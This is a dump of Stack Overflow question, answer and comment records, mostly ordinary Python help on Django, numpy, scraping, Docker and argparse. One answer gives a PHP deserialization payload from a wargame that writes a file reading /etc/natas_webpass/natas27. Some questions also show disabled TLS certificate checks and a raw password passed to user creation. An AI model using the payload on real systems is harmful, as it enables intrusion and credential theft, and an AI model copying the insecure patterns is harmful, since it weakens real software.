has body: I'm relatively new to python and don't quite understand what's going on here. I have the following code: if cell.location != (always_empty_location and random.random() &lt; self.settings['OBSTACLE_RATIO']): And it's broken, but if I remove the parenthesis and do a simple and \ on the first line, it works. I can't seem to find a solid explanation of how python treats scenario's like this. Everything online suggests this should work.
has comment: http://stackoverflow.com/comment/81664686
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81664697
tagged with: python
accepted answer: http://stackoverflow.com/a/47356136
tagged with: line
linked to: http://stackoverflow.com/q/53162
score: -1
has title: Line breaking a logical symbol
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47356136
possible better answer: http://stackoverflow.com/a/47357251
answer count: 2
has answer: http://stackoverflow.com/a/47357251
has comment: http://stackoverflow.com/comment/81664649

http://stackoverflow.com/q/47327406
tagged with: authentication
has body: I need to register a user by sending an activation token to her Email address. I am getting this error (UNIQUE constraint failed: auth_user.username) when trying to register her using custom built-in functions register and activate. My code is as follows: forms.py class UserRegisterForm(forms.Form, UserCreationForm): username = forms.CharField(max_length=20) date_of_birth = forms.DateField(widget=forms.SelectDateWidget(years=range(2017, 1900, -1))) email = forms.EmailField() def clean_username(self): username = self.cleaned_data.get('username') if User.objects.filter(username__iexact=username).exists(): raise forms.ValidationError('Username already exists') return username def clean_date_of_birth(self): ''' Only accept users aged 13 and above ''' userAge = 13 dob = self.cleaned_data.get('date_of_birth') today = date.today() if (dob.year + userAge, dob.month, dob.day) &gt; (today.year, today.month, today.day): raise forms.ValidationError('Users must be aged {} years old and above.'.format(userAge)) return dob def clean_email(self): email = self.cleaned_data.get('email') if User.objects.filter(email__iexact=email).exists(): raise forms.ValidationError('A user has already registered using this email') return email def clean_password2(self): ''' we must ensure that both passwords are identical ''' password1 = self.cleaned_data.get('password1') password2 = self.cleaned_data.get('password2') if password1 and password2 and password1 != password2: raise forms.ValidationError('Passwords must match') return password2 views.py def register(request): if request.method == 'POST': form = UserRegisterForm(request.POST) if form.is_valid(): username = form.cleaned_data.get('username') email = form.cleaned_data.get('email') password = form.cleaned_data.get('password1') new_user = User.objects.create(username=username, email=email, password=password) new_user = form.save(commit=False) #new_user.set_password(password) # hashes the password new_user.is_active = False new_user.save() cur…
tagged with: django
upvote count: 7
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/67750437
accepted answer: http://stackoverflow.com/a/47327637
tagged with: python
has answer: http://stackoverflow.com/a/47327637
type: AnsweredQuestion
answer count: 3
has title: Django error: UNIQUE constraint failed: auth_user.username
has answer: http://stackoverflow.com/a/67750437
has comment: http://stackoverflow.com/comment/81605989
score: 7
has answer: http://stackoverflow.com/a/78597684
downvote count: 0

http://stackoverflow.com/q/47238292
answer count: 2
has comment: http://stackoverflow.com/comment/81426638
possible better answer: http://stackoverflow.com/a/47238570
has title: Web scraping using Python BeautifulSoup
tagged with: web-scraping
upvote count: 1
has body: from urllib.request import urlopen as uReq from bs4 import BeautifulSoup as soup my_url="http://www.mouthshut.com/mobile-operators/Reliance-Jio-reviews-925812061" uClient=uReq(my_url) page_html=uClient.read() page_soup=soup(page_html,"html.parser") containers=page_soup.findAll("div",{"class":"row review-article"}) print(len(containers)) print(containers[0].a) I want to get the link of profile (Chitanverma in the given picture) as my output but I get the link of Reliance Jio services as my output. I would be grateful if someone help me correct my code to get the expected output and also explain why I am getting the link of Reliance Jio services as my output. My intention is to scrape the names of the profile from the webpage http://www.mouthshut.com/mobile-operators/Reliance-Jio-reviews-925812061.
downvote count: 1
favorite count: 0
tagged with: beautifulsoup
type: Question
accepted answer: http://stackoverflow.com/a/47239221
has answer: http://stackoverflow.com/a/47239221
tagged with: containers
has answer: http://stackoverflow.com/a/47238570
tagged with: python
tagged with: text-mining
has comment: http://stackoverflow.com/comment/81428801
type: AnsweredQuestion
score: 0

http://stackoverflow.com/q/47295198
downvote count: 1
favorite count: 0
has body: Personally for me, this code gives strange output, I don't understand why. Input: matrix = [[0] * 5] * 5 for i in range(5): matrix[i][0] = i matrix Output: [[4, 0, 0, 0, 0], [4, 0, 0, 0, 0], [4, 0, 0, 0, 0], [4, 0, 0, 0, 0], [4, 0, 0, 0, 0]] Expected output: [[0, 0, 0, 0, 0], [1, 0, 0, 0, 0], [2, 0, 0, 0, 0], [3, 0, 0, 0, 0], [4, 0, 0, 0, 0]]
has comment: http://stackoverflow.com/comment/81542080
tagged with: matrix
score: 1
linked to: http://stackoverflow.com/q/240178
tagged with: python
type: Question
tagged with: python-3.x
duplicate of: http://stackoverflow.com/q/240178
tagged with: list
answer count: 0
upvote count: 2
has title: Why python loop for matrix (from lists) with changing element gives not correct output?
type: UnansweredQuestion
tagged with: loops

http://stackoverflow.com/q/47259951
tagged with: oop
tagged with: instance-variables
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/81471484
linked to: http://stackoverflow.com/q/11071370
type: UnansweredQuestion
tagged with: class-variables
duplicate of: http://stackoverflow.com/q/207000
tagged with: python
has comment: http://stackoverflow.com/comment/81471909
has comment: http://stackoverflow.com/comment/81470754
has body: I am learning OOP in Python and have a query related to class and instance variables. &gt;&gt;&gt; class Something: ... val = 10 ... def __init__(self): ... self.instval = 100 ... &gt;&gt;&gt; some = Something() &gt;&gt;&gt; some.val 10 &gt;&gt;&gt; some.instval 100 &gt;&gt;&gt; dir(some) ['__doc__', '__init__', '__module__', 'instval', 'val'] &gt;&gt;&gt; some.val = 1000 &gt;&gt;&gt; dir(some) ['__doc__', '__init__', '__module__', 'instval', 'val'] &gt;&gt;&gt; some.val 1000 &gt;&gt;&gt; Something.val 10 &gt;&gt;&gt; del some.val &gt;&gt;&gt; some.val 10 &gt;&gt;&gt; dir(some) ['__doc__', '__init__', '__module__', 'instval', 'val'] In this class i have val a class variable and instval an instance variable. I re declare the val class variable to 1000. So some.val gives me 1000 but Something.val still gives me 10. When i delete some.val it reverts back to class variable value. I know that the interpreter first looks up a variable at instance level and then at class level. Then what is happening here ? I have gone through some of the answers, I think this was most appropriate, but i didn't fully understand it's implications.
has comment: http://stackoverflow.com/comment/81470963
linked to: http://stackoverflow.com/q/207000
has title: Re declaring class variables as instance variables in python
score: 0

http://stackoverflow.com/comment/81613606
has text: You should head to https://math.stackexchange.com/
type: Comment
comment on: http://stackoverflow.com/q/47331421
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81673465
score: 1
type: Comment
type: QuestionComment
has text: One thing you might consider is naming your script myscript.py and then making a soft link to it named myscript
comment on: http://stackoverflow.com/q/47360213

http://stackoverflow.com/q/47278461
favorite count: 0
type: Question
answer count: 2
upvote count: 0
has title: What python concept causes this result?
score: -3
accepted answer: http://stackoverflow.com/a/47278509
has comment: http://stackoverflow.com/comment/81507630
has comment: http://stackoverflow.com/comment/81507661
tagged with: python
has body: So I was studying for an exam and i made a simple function to review 'sequential processing' and then I made this function(s) that turn a string input of whitespaced numbers into a list and scan to find the highest, but my conditional seems to think 8 is greater than 20 and 23. Can someone tell my why this is? def findMax(numberlist): maxval = numberlist[0] for i in numberlist[1:]: print("The value now is:\t",i,"\nThe max value is currently\t",maxval,"\n") if(i &gt; maxval): maxval = i print(maxval) return maxval def makeList(stringput): print(stringput) stringput = stringput.split(" ") for i in stringput[0:]: print("Value is:\t",i) return stringput findMax(makeList(input("\nWhat test are to be sorted\n"))) This returned the result 8 from the input "1 20 8 21" Edit:Sorry, new user .
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47278506
downvote count: 3
possible better answer: http://stackoverflow.com/a/47278506
has comment: http://stackoverflow.com/comment/81507631
has answer: http://stackoverflow.com/a/47278509
has comment: http://stackoverflow.com/comment/81507640

http://stackoverflow.com/a/47265466
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47265369
has comment: http://stackoverflow.com/comment/81496998
type: Answer
has body: IIUC you don't need the mask on spent per se like you've done: In[16]: a=(spent&gt;100) &amp; (visit&gt;10) a Out[16]: array([False, False, False, False, True, False, False, False, False, False, False, False, False, True, False, True, False, False, False, True, True, True, False, False, False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, True, True, False, False, False, False, False, False, False, False], dtype=bool) This gives you a boolean mask that is only True where both conditions are met in both arrays, you can then use this to mask against the original arrays So using this against spent: In[18]: spent[a] Out[18]: array([ 109, 161, 115, 334, 165, 1032, 188, 219, 1386, 370]) Your error was that you masked your original array which produced an array that was a different shape that what you're trying to broadcast against visit: print(spent[spent&gt;100].shape) print((visit&gt;10).shape) (16,) (69,) You could compound the conditions into the same mask: In[20]: spent[(spent &gt; 100) &amp; (visit &gt; 10)] Out[20]: array([ 109, 161, 115, 334, 165, 1032, 188, 219, 1386, 370]) to produce the same result
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/47265369
downvote count: 0

http://stackoverflow.com/comment/82840891
score: 0
comment on: http://stackoverflow.com/q/47267088
has text: did you try to work without R, i.e. just putting in x^2+... from the start? Also you substitute R and R^2 which seems quite redundant, why did you add that?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47262108
downvote count: 0
upvote count: 1
score: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47261926
answers question: http://stackoverflow.com/q/47261926
has body: You can create two serializers and override get_serializer_class in view like this. def get_serializer_class(self): if self.request.user.is_superuser: return FullAccountSerializer return BasicAccountSerializer
type: Answer

twilio
tag name: twilio
tags question: http://stackoverflow.com/q/47264994
tags question: http://stackoverflow.com/q/47255671
tags question: http://stackoverflow.com/q/47300110
type: Tag
tags question: http://stackoverflow.com/q/47276270

http://stackoverflow.com/comment/81453212
type: QuestionComment
has text: "The textbook asks the user to create two parallel arrays" Wow, I hope there is more context to this or else it is horrible advice. The data structure of choice should be a dictionary where the keys are lower-case names and the values are the phone numbers.
type: Comment
comment on: http://stackoverflow.com/q/47251439
score: 1

http://stackoverflow.com/comment/81410398
type: AnswerComment
has text: by vales are you referring to the variable list A?
type: Comment
comment on: http://stackoverflow.com/a/47229719
score: 0

smf
type: Tag
tag name: smf
tags question: http://stackoverflow.com/q/47321503

http://stackoverflow.com/q/47358216
score: 2
has body: I am trying to implement the PCA using numpy.linalg.eig with two differents methods(with the covariance and the pca method used in eigenface) and I compare my results with the PCA from sklearn. But I observe that my results are differents so I was wondering which mistake I am doing. I have 3 samples, and each sample have 4 features. I am trying to reduce then the dimension of the samples to 3. EDIT : add with the SVD method. IThe results I get using the covariance PCA , the SVD and the PCA from sklearn are pretty close. But with the "eigenface" method it is totally different why ? import numpy as np from sklearn.decomposition import PCA x = np.array([[0.5, 0.8, 1.5, -2.4], [-1.9, -8.7, 0.02, 4.9], [5.5,6.1, -8.1,3.0]]) print(x) K = 3 # -- sklearn -- # pca = PCA(n_components=K).fit(x) res = pca.transform(x) print('sklearn :', res) # -- numpy covariance -- # X = x - np.mean(x, axis = 0) cov = np.cov(X.T) print("covariance :", cov.shape) evals , evecs = np.linalg.eig(cov) idx = np.argsort(evals)[::-1] evecs = evecs[:,idx] evals = evals[idx] res2 = X.dot(evecs[:,:K]) print("numpy with cov:", res2) # -- numpy scatter matrix -- # X = x - np.mean(x, axis = 0) C = np.dot(X, X.T) evals , evecs = np.linalg.eig(C) idx = np.argsort(evals)[::-1] evecs = evecs[:,idx] evals = evals[idx] v = np.dot(evecs, X) print("v :", v.shape) res3= X[:, :K].dot(v) print('numpy with scatter matrix : ', res3) # -- numpy svd -- # X = x - np.mean(x, axis = 0) U, S, V = np.linalg.svd(X, full_matrices=False) U, V = svd_flip(U, V) res2 = X.dot(V.T) print("numpy with svd:", res2)
has answer: http://stackoverflow.com/a/47359688
type: AnsweredQuestion
tagged with: pca
possible better answer: http://stackoverflow.com/a/47358445
downvote count: 0
favorite count: 0
type: Question
upvote count: 2
tagged with: numpy
accepted answer: http://stackoverflow.com/a/47359688
has title: PCA difference between python numpy and sklearn
answer count: 2
has answer: http://stackoverflow.com/a/47358445
tagged with: python
linked to: http://stackoverflow.com/q/27781872

http://stackoverflow.com/comment/81541982
score: 1
has text: @Blurp Good point, but that would also replace e.g. whitespace. Might use something like `[^\w\s]` though, depending on what exactly OP wants to replace. Also, there seem to be chars like `|` what shall not be replaced (might be a mistake in the question, though).
comment on: http://stackoverflow.com/q/47295108
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81647974
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47333500
has text: It works perfectly fine if you use "import x from y as z": [Check this image](https://ibb.co/kHkPL6)

http://stackoverflow.com/a/47372789
score: 7
downvote count: 0
upvote count: 7
has body: In python documentation of plain integer objects this is explained. Take a look here. The references for values between -5 and 256 remain the same, so when you change a variable - it actually points to that reference. If you go beyond that range, you can expect different behavior.
answers question: http://stackoverflow.com/q/47372768
has comment: http://stackoverflow.com/comment/81698188
type: Answer
has comment: http://stackoverflow.com/comment/81709776

http://stackoverflow.com/comment/81493509
type: Comment
comment on: http://stackoverflow.com/a/47271228
type: AnswerComment
has text: (y) FYI I am not the one who down voted your answer :) I am the one who up voted it :)
score: 0

http://stackoverflow.com/a/47271297
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/47270587
upvote count: 3
score: 3
has comment: http://stackoverflow.com/comment/81496329
has body: Warning: -onbuild images have been deprecated. @AlexForbes raised very good points. But if you want a super simple Dockerfile for Django, you can probably just do: FROM python:3-onbuild RUN python manage.py collectstatic CMD ["python", "manage.py"] You then run your container with: docker run myimagename runserver The little -onbuild modifier does most of what you need. It creates /usr/src/app, sets it as the working directory, copies all your source code inside, and runs pip install -r requirements.txt (which you forgot to run). Finally we collect statics (might not be required in your case if statics are hosted somewhere), and set the default command to manage.py so everything is easy to run. You would need docker-compose if you had to run other containers like Celery, Redis or any other background task or server not supplied by your environment.

http://stackoverflow.com/a/47273049
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/81536341
has comment: http://stackoverflow.com/comment/81670496
answers question: http://stackoverflow.com/q/47267724
type: Answer
has comment: http://stackoverflow.com/comment/81670083
has body: Issues with your program: you create and set the speed of a turtle that you don't actually use; turtle.py already has a shape() method so don't override it to mean something else, pick a new name; you don't want the begin_fill() and end_fill() inside the loop but rather surrounding the loop; you call your own shape() method with invalid arguments. The following rework of your code addresses the above issues: from turtle import Turtle, Screen class Star(Turtle): def __init__(self, x=0, y=0): super().__init__(visible=False) self.speed('fastest') self.draw_star(x, y) def draw_star(self, x=0, y=0): """ Creates the star shape """ self.penup() self.setposition(x, y) self.pendown() self.fillcolor("red") self.begin_fill() for _ in range(9): self.left(90) self.forward(90) self.right(130) self.forward(90) self.end_fill() t = Star() screen = Screen() screen.exitonclick()
score: 3
has comment: http://stackoverflow.com/comment/81525326
has comment: http://stackoverflow.com/comment/81616875
has comment: http://stackoverflow.com/comment/81622782

http://stackoverflow.com/comment/81425968
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47237970
has text: What are you getting now? This can be done in ~4 lines of code.
score: 0

http://stackoverflow.com/q/47320113
has comment: http://stackoverflow.com/comment/81624221
has comment: http://stackoverflow.com/comment/81591657
has comment: http://stackoverflow.com/comment/81619793
tagged with: pip
tagged with: containers
has comment: http://stackoverflow.com/comment/81619711
has title: Docker image fails in CentOS but works on MacOS
has comment: http://stackoverflow.com/comment/81620459
tagged with: docker
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81630976
has comment: http://stackoverflow.com/comment/81592342
score: 0
has comment: http://stackoverflow.com/comment/81630591
accepted answer: http://stackoverflow.com/a/47340654
answer count: 1
has comment: http://stackoverflow.com/comment/81591431
has comment: http://stackoverflow.com/comment/81619179
has answer: http://stackoverflow.com/a/47340654
tagged with: python
has comment: http://stackoverflow.com/comment/81591653
has comment: http://stackoverflow.com/comment/81633077
type: Question
has body: I'm using the following Dockerfile: FROM centos RUN yum -y -q install epel-release &amp;&amp; yum -y -q update &amp;&amp; yum clean all \ &amp;&amp; yum -y -q install python-pip COPY requirements.txt /tmp/ RUN pip install -q pyvmomi==6.5.0.2017.5.post1 Not sure why it does work fine on MacOS using docker 17.09.0-ce but it does not using CentOS with docker 17.11.0-ce-rc3. There is an error in the pip installation, in this example I use pyvmomi but I have a similar error with other packages. Step 3/3 : RUN pip install pyvmomi==6.5.0.2017.5.post1 ---&gt; Running in 49d94b300e7f Collecting pyvmomi==6.5.0.2017.5.post1 Downloading pyvmomi-6.5.0.2017.5-1.tar.gz (252kB) Collecting requests&gt;=2.3.0 (from pyvmomi==6.5.0.2017.5.post1) Downloading requests-2.18.4-py2.py3-none-any.whl (88kB) Collecting six&gt;=1.7.3 (from pyvmomi==6.5.0.2017.5.post1) Downloading six-1.11.0-py2.py3-none-any.whl Collecting certifi&gt;=2017.4.17 (from requests&gt;=2.3.0-&gt;pyvmomi==6.5.0.2017.5.post1) Downloading certifi-2017.11.5-py2.py3-none-any.whl (330kB) Collecting chardet&lt;3.1.0,&gt;=3.0.2 (from requests&gt;=2.3.0-&gt;pyvmomi==6.5.0.2017.5.post1) Downloading chardet-3.0.4-py2.py3-none-any.whl (133kB) Collecting idna&lt;2.7,&gt;=2.5 (from requests&gt;=2.3.0-&gt;pyvmomi==6.5.0.2017.5.post1) Downloading idna-2.6-py2.py3-none-any.whl (56kB) Collecting urllib3&lt;1.23,&gt;=1.21.1 (from requests&gt;=2.3.0-&gt;pyvmomi==6.5.0.2017.5.post1) Downloading urllib3-1.22-py2.py3-none-any.whl (132kB) Installing collected packages: certifi, chardet, idna, urllib3, requests, six, pyvmomi Found existing installation: chardet 2.2.1 Uninstalling chardet-2.2.1: Exception: Traceback (most recent call last): File "/usr/lib/python2.7/site-packages/pip/basecommand.py", line 215, in main status = self.run(options, args) File "/usr/lib/python2.7/site-packages/pip/commands/install.py", line 326, in run strip_file_prefix=options.strip_file_prefix, File "/usr/lib/python2.7/site-packages/pip/req/req_set.py", line 736, …

memoization
type: Tag
tags question: http://stackoverflow.com/q/47269446
tag name: memoization

http://stackoverflow.com/comment/81498769
type: Comment
type: QuestionComment
has text: @DarkCygnus the input shape at this moment is (512,512,3). However, it has been almost anything from 128 to 512 when training previous models.
score: 0
comment on: http://stackoverflow.com/q/47272383

http://stackoverflow.com/a/47331296
answers question: http://stackoverflow.com/q/47331031
score: 1
upvote count: 1
has body: import pandas as pd df = pd.DataFrame([{'user': 1,'query': 'abc', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'1992'},{u'Op': u'and', u'Type': u'sex', u'Val': u'F'}]}, {'user': 1,'query': 'efg', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'2000'},{u'Op': u'and', u'Type': u'col', u'Val': u'Blue'}]}, {'user': 1,'query': 'fgs', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'2001'},{u'Op': u'and', u'Type': u'col', u'Val': u'Red'}]}, {'user': 2 ,'query': 'hij', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'2002'}]}, {'user': 2 ,'query': 'dcv', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'2001'},{u'Op': u'and', u'Type': u'sex', u'Val': u'F'}]}, {'user': 2 ,'query': 'tyu', 'Filters':[{u'Op': u'and', u'Type': u'date', u'Val': u'1999'},{u'Op': u'and', u'Type': u'col', u'Val': u'Yellow'}]}, {'user': 3 ,'query': 'jhg', 'Filters':[{u'Op': u'and', u'Type': u'date', u'Val': u'2001'},{u'Op': u'and', u'Type': u'sex', u'Val': u'M'}]}, {'user': 4 ,'query': 'mlh', 'Filters':[{u'Op': u'and', u'Type': u'date', u'Val': u'2001'}]}, ]) def func(x): date = x[0]['Val'] sex = '' col = '' if len(x) &gt; 1: if x[1]['Val'] in ['F','M']: sex = x[1]['Val'] else: col = x[1]['Val'] return pd.Series([date,sex,col]) df'date','sex','color' = df['Filters'].apply(func) df Outputs (not showing filter): query user date sex color 0 abc 1 1992 F 1 efg 1 2000 Blue 2 fgs 1 2001 Red 3 hij 2 2002 4 dcv 2 2001 F 5 tyu 2 1999 Yellow 6 jhg 3 2001 M 7 mlh 4 2001
downvote count: 0
type: Answer

http://stackoverflow.com/q/47225263
tagged with: numpy
has title: Sum of consecutive integers in numpy is incorrect
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81400499
answer count: 2
has comment: http://stackoverflow.com/comment/81400549
accepted answer: http://stackoverflow.com/a/47225417
score: 4
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/81400487
type: AnsweredQuestion
upvote count: 5
has body: In summing the first 100,000,000 positive integers using the following: import numpy as np np.arange(1,100000001).sum() I return: 987459712, which does not match the formula: N(N+1)/2 for N=100000000. Namely, the formula returns 5000000050000000. Before posting, I wrote the following, which returns True: np.arange(1,65536).sum() == ((65535+1) * 65535)/2 However, the number 65536 seems to be a critical point, as np.arange(1,65537).sum() == ((65536+1) * 65536)/2 returns False. For integers greater than 65536 the code returns False, whereas integers below this threshold return True. Could someone explain either what I've done wrong in calculating the sum, or what is going on with the code?
linked to: http://stackoverflow.com/q/384502
tagged with: sum
has answer: http://stackoverflow.com/a/47225803
tagged with: python
possible better answer: http://stackoverflow.com/a/47225803
has comment: http://stackoverflow.com/comment/81400760
has answer: http://stackoverflow.com/a/47225417
favorite count: 0

http://stackoverflow.com/comment/81700834
type: QuestionComment
has text: Also, there seems to be a system connection or configuration issue here. I don't think it's possible to fix in the stackoverflow comments.
comment on: http://stackoverflow.com/q/47373827
score: 0
type: Comment

http://stackoverflow.com/a/64455865
downvote count: 0
score: 4
type: Answer
has body: My solution was built off nir9's solution. I deselected all worksheets from being active and then made the worksheet I wanted to be active. wb = openpyxl.load_workbook("test.xlsx") template_copy = wb.copy_worksheet(template) new_wk_sheet = wb['Template Copy'] new_wk_sheet.title = last_worksheet for sheet in wb: wb[sheet.title].views.sheetView[0].tabSelected = False wb.active = new_wk_sheet wb.save("test.xlsx")
answers question: http://stackoverflow.com/q/47309296
upvote count: 4

http://stackoverflow.com/q/47232381
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81415608
has comment: http://stackoverflow.com/comment/81417544
tagged with: argparse
tagged with: subclass
has comment: http://stackoverflow.com/comment/81437068
has answer: http://stackoverflow.com/a/47232457
has comment: http://stackoverflow.com/comment/81415653
has answer: http://stackoverflow.com/a/71971732
possible better answer: http://stackoverflow.com/a/71971732
tagged with: python
type: Question
score: 2
tagged with: python-2.7
answer count: 2
has title: How do I subclass argparse.Action to add a custom action?
upvote count: 2
has body: I have a command line script I'm trying to run that inserts a default value into the Namespace if the value is absent, or takes the supplied argument as is if it's present. So I want to do this: myscript.py --merge Would result in the argument parser Namespace looking like this: Namespace(merge='--merge') Else, if I call myscript.py Namespace should look like this: Namespace(merge='DONTMERGE') I think I need to subclass the argparse.Action class's __call__ method to perform a custom action as specified here: https://pymotw.com/2/argparse/ but I'm unable to figure out how to do this. I thought something like this would do the trick: class CustomAction(argparse.Action): def __call__(self, parser, namespace, values, option_string=None): if isinstance(self.values, None): self.values = 'NOMERGE' else: self.values = '--nomerge' setattr(namespace, self.dest, values) Unfortunately, I'm not getting the expected result.
accepted answer: http://stackoverflow.com/a/47232457
downvote count: 0
has comment: http://stackoverflow.com/comment/81415666
has comment: http://stackoverflow.com/comment/81419523
favorite count: 0
has comment: http://stackoverflow.com/comment/81415679

http://stackoverflow.com/q/47302548
has title: Why is this showing driver is not defined
has comment: http://stackoverflow.com/comment/81556046
answer count: 1
has comment: http://stackoverflow.com/comment/81555891
type: Question
has comment: http://stackoverflow.com/comment/81555959
accepted answer: http://stackoverflow.com/a/47303094
has answer: http://stackoverflow.com/a/47303094
has comment: http://stackoverflow.com/comment/81556838
tagged with: python
has body: Im trying to get this part of my script to upload an image from folder " zip code pics" which has subfolders named by optional zip codes When i get to the image upload page it gives me the error driver is not defined.. What am i missing here ? def picturetime(): zipcode = get_zipcode() while True: try: pics = [] for each in os.listdir(os.path.join(os.curdir, 'ZIP CODE PICS', zipcode[0])): name = os.path.splitext(each) picture_name = os.path.join(os.curdir, 'ZIP CODE PICS',zipcode[0] , each) picture_name = os.path.abspath(picture_name) pics.append(picture_name) if pics: picture_name = random.choice(pics) driver.find_element_by_id('plupload').send_keys(picture_name) print('[zip code image] clicking on save_link after picture') sleep(10)
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/81654667
score: 1
has text: I upvoted your answer because I learned about `strace` and I'm accepting the other answer because it shows me the loaded shared objects.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47347038

http://stackoverflow.com/a/47339492
type: Answer
answers question: http://stackoverflow.com/q/47338811
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has body: You must remove Qt.ItemIsSelectable from the item-flags: widgetTrim = QTreeWidgetItem() widgetTrim.setFlags(widgetTrim.flags() &amp; ~Qt.ItemIsSelectable) The flags are an OR'd together combination ItemFlag values. So a bitwise AND NOT operation is used to remove the ItemIsSelectable from the existing combination of flags.
score: 3
has comment: http://stackoverflow.com/comment/81631508
accepted answer of: http://stackoverflow.com/q/47338811

http://stackoverflow.com/comment/81475530
type: Comment
comment on: http://stackoverflow.com/q/47260597
type: QuestionComment
has text: Hmmm not sure why is that... you used an [asyncio.Queue](https://docs.python.org/3/library/asyncio-queue.html) with just calling `outQ.put(thresh1)`? I am not sure I can help more without a runnable example...
score: 0

http://stackoverflow.com/comment/134104637
type: Comment
comment on: http://stackoverflow.com/a/47274015
has text: From a scientific perspective the previous comment is false. One doesn't say "mildly significant", "very significant" or similar because significance levels have no declination. Instead, to be correct, one can say something is significant at P < 0.05. Or something is significant at a 5% probability level (or a different level).
type: AnswerComment
score: 0

http://stackoverflow.com/q/47262056
tagged with: python
favorite count: 0
accepted answer: http://stackoverflow.com/a/47262238
has answer: http://stackoverflow.com/a/47262238
upvote count: 2
answer count: 1
downvote count: 0
has body: Python3 exchangelib connect error: _ssl.c:749? I am trying to connect to my company's Exchange server with exchangelib. I want to see all the mails I have received on MS Exchange / OWA. When I run the code below, I get: File "C:\Program Files\Python36\lib\site-packages\urllib3\connectionpool.py", line 601, in urlopen chunked=chunked) File "C:\Program Files\Python36\lib\site-packages\urllib3\connectionpool.py", line 346, in _make_request self._validate_conn(conn) File "C:\Program Files\Python36\lib\site-packages\urllib3\connectionpool.py", line 850, in _validate_conn conn.connect() File "C:\Program Files\Python36\lib\site-packages\urllib3\connection.py", line 326, in connect ssl_context=context) File "C:\Program Files\Python36\lib\site-packages\urllib3\util\ssl_.py", line 329, in ssl_wrap_socket return context.wrap_socket(sock, server_hostname=server_hostname) File "C:\Program Files\Python36\lib\ssl.py", line 401, in wrap_socket _context=self, _session=session) File "C:\Program Files\Python36\lib\ssl.py", line 808, in __init__ self.do_handshake() File "C:\Program Files\Python36\lib\ssl.py", line 1061, in do_handshake self._sslobj.do_handshake() File "C:\Program Files\Python36\lib\ssl.py", line 683, in do_handshake self._sslobj.do_handshake() ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:749) from exchangelib import DELEGATE, Account, Credentials,NTLM,Configuration,Version,Build creds = Credentials(username = 'inter.com\\login',password='password') config = Configuration(service_endpoint='https://alpha.com/EWS/Exchange.asmx',credentials=creds,auth_type=NTLM) account = Account(primary_smtp_address='login@alpha.com',config=config,autodiscover=False,access_type=DELEGATE,verify_ssl=False) from exchangelib.protocol import BaseProtocol, NoVerifyHTTPAdapter BaseProtocol.HTTP_ADAPTER_CLS = NoVerifyHTTPAdapter Can you please let me know how to use certificates with exchangelib? How to fix it? Thanks for your help!
type: Question
score: 2
type: AnsweredQuestion
has title: Python3 exchangelib connect error: _ssl.c:749?
tagged with: ssl

http://stackoverflow.com/comment/81576250
type: Comment
type: QuestionComment
score: 0
has text: You're welcome :) if that works for you, post a solution and accept it on your own post, nothing wrong with that here
comment on: http://stackoverflow.com/q/47312665

http://stackoverflow.com/q/47380092
type: Question
tagged with: python-3.x
tagged with: ipdb
has body: I am working with ipdb and yield. I noticed the yield does not act as expected when using it with ipdb. Specifically, this code when being debugged with ipdb (and pressing the 'n' charcter in the key board simply skips the yield command instead of returning from the function) def cats(): print(-1) yield for i in range(4): print(i) yield import ipdb ipdb.set_trace() x = cats() next(x) next(x) next(x) How could this be resolved?
upvote count: 5
tagged with: python
score: 4
accepted answer: http://stackoverflow.com/a/47410008
tagged with: yield
has answer: http://stackoverflow.com/a/47410008
answer count: 1
has title: How to make yield work in debug mode?
downvote count: 1
type: AnsweredQuestion
favorite count: 0

http://stackoverflow.com/a/47281282
type: Answer
answers question: http://stackoverflow.com/q/47280799
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81512871
has body: You are serializing a hash in the python version, and an object in the PHP one.Just turn the object into a hash (associative array), and it should yield the same result: &lt;?php $obj = array(); $obj['initMsg'] = ''; $obj['exitMsg'] = "&lt;?php include('/etc/natas_webpass/natas27');?&gt;"; $obj['logFile'] = "img/code.php"; echo base64_encode(serialize($obj)); ?&gt;
has comment: http://stackoverflow.com/comment/81512976

http://stackoverflow.com/q/47350879
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81655396
